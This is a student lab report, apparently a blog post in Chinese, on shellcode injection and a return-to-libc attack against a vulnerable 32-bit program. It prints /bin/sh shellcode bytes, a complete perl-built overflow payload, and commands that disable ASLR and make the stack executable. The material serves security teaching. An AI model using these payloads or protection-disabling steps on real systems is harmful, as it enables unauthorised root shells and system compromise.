1.0 实践内容

Return-to-libc攻击是一种特殊的缓冲区溢出攻击,通常用于攻击有“栈不可执行”保护措施的目标系统。本实验中我们放弃了让漏洞程序执行堆栈中的shellcode,将用system()地址替换返回地址,用它调用一个root shell

1.1 shellcode注入实验

实验之前需要安装execstack.

设置堆栈可执行,并关闭地址随机化。

shellcode的获取得到shellcode如下

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 接下来正式进入实验:

构造注入的payload,格式为nop(即\x90)+shellcode+返回地址。

对返回地址进行猜测,尝试找到shellcode的地址:

用gdb调试:

ret一行即为结束地址,从上图中,读出结束地址为0x080484ae

返回原来的终端:(回车要在设置断点后进行,gdb执行c前按下,否则无法确认进程号)

接下来设置断点,并寻找注入的buf的地址:

然后我们发现,先前输入的01020304出现在了这里,这里就是返回地址。

01020304的位置就是返回地址的位置,即0xffffd33c

获得shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为

perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

然后在该窗口中,重新运行

(cat input_shellcode ; cat )| ./pwn5207

成功

2.0 Return-to-libc 攻击实验

首先需要创建环境

输入如下指令,创建32位C语言可编译的环境

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386

完成安装

输入命令

linux32

进入32位linux操作环境

使用

/bin/bash

进入bash

接下来关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0

为了防止shell攻击,若被攻击,则程序被调用时会自动弃权,用zkj来代替它:

这里用到的命令为:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

在tmp文件夹下编辑“retlib.c”文件,并编译设置SET-UID

我在windows下编译完成后复制进tmp文件夹,因此替代了文件

进行编译,

提权后退出。

创建文件“”getenvaddr.c”文件用于读取环境变量,并编译

在tmp文件夹下准备“exploit.c”文件用于攻击

并对其进行编译

编译exploit再运行gdb,对其进行调试

接下来获取system地址

通过上述获取的地址,修改入exploit.c文件,并删除之前生成的exploit和badfile文件,再次编译,

编译的方法是:将先前得到的地址等填入exploit的相应位置

最后编译运行retlib

攻击成功

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验的更多相关文章

  1. 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

    20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...

  2. 20145314郑凯杰《网络对抗技术》恶意DLL注入进程(进程捆绑)的实现

    20145314郑凯杰<网络对抗技术>恶意DLL注入进程(进程捆绑)的实现 一.本节摘要 简介:在这部分里,要实现将恶意后门悄无声息地与进程进行捆绑,通过和已运行的进程进行捆绑,达到附着攻 ...

  3. 20145309李昊《网络对抗技术》实验9 web安全基础实践

    本实验在同学帮助下完成 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. Web前 ...

  4. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

  5. 2018-2019-2 20165225『网络对抗技术』Exp2:后门原理与实践

    2018-2019-2 20165225『网络对抗技术』Exp2:后门原理与实践 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分) 任务二:使用socat获取主 ...

  6. 2018-2019-2 网络对抗技术 20165236 Exp6 信息搜集与漏洞扫描

    2018-2019-2 网络对抗技术 20165236 Exp6 信息搜集与漏洞扫描 一.实验内容 1.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 (1)各种搜索技巧的应用 ...

  7. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  8. 2017-2018-2 20155314《网络对抗技术》Exp1 PC平台逆向破解(5)M

    2017-2018-2 20155314<网络对抗技术>Exp1 PC平台逆向破解(5)M 目录 实验要求 实验内容 预备知识 实验步骤 0 准备工作:macOS下Parallels De ...

  9. 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

    ### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

随机推荐

  1. 对1001. A+B Format (20)的描述

    Github仓库的链接 https://github.com/deepYY/object-oriented/blob/master/A-B-Format/A.B.Format.c 解题思路: 输入a, ...

  2. Linux CPU的中断【转载】

    中断其实就是由硬件或软件所发送的一种称为IRQ(中断请求)的信号. 中断允许让设备,如键盘,串口卡,并口等设备表明它们需要CPU. 一旦CPU接收了中断请求,CPU就会暂时停止执行正在运行的程序,并且 ...

  3. Odoo中的逆计算——由compute字段的值逆向修改其依赖值

    转载请注明原文地址:https://www.cnblogs.com/cnodoo/p/9281406.html 当通过compute属性指定方法,根据依赖值计算得到当前字段值时.一般也要制定这个计算的 ...

  4. $_cookie的使用

    设置并发送 cookie: <?php $value = "my cookie value"; // 发送一个简单的 cookie setcookie("TestC ...

  5. php json格式化输出

    1.json格式是适用于多种语言的数据格式,通用性高 2.在php中将array格式的数据转化为json格式 3.默认情况下转化后的json格式为一个串,需要将这个串格式化成相应的样式输出 主要的函数 ...

  6. 修改网卡MAC地址后出现问题:device eth0 does not seem to be present, delaying initialization

    修改网卡MAC地址后出现问题:device eth0 does not seem to be present, delaying initialization   1.修改网卡对应的文件,将配置文件中 ...

  7. 关于JavaScript 常见的面试题

    关于JavaScript常见的面试题总结 一.JavaScript基本数据类型 null:空.无.表示不存在,当为对象的属性赋值为null,表示删除该属性 undefined:未定义.当声明变量却没有 ...

  8. linux内核追踪(trace)(QEMU+gdb)

    1.引言 Linux内核是一个很大的模块,如果只是看源码有时会难以理解Linux内核的一些代码设计情况,如果可以结合Linux内核运行同时阅读源码再好不过,本文大致介绍Linux内核追踪方式,采用工具 ...

  9. JAVA 8 新特性 __ Optional 类

    Optional 类是一个可以作为null容器的对象,若值存在调用isPresent()就返回 true,调用get()会返回该对象. Optional是一个容器,可以保存类型T的值,或者仅仅保存nu ...

  10. oracle基础教程oracle客户端详解

    oracle基础教程oracle客户端工具详解 参考网址:http://www.oraclejsq.com/article/010100114.html 该教程介绍了oracle自带客户端sqlplu ...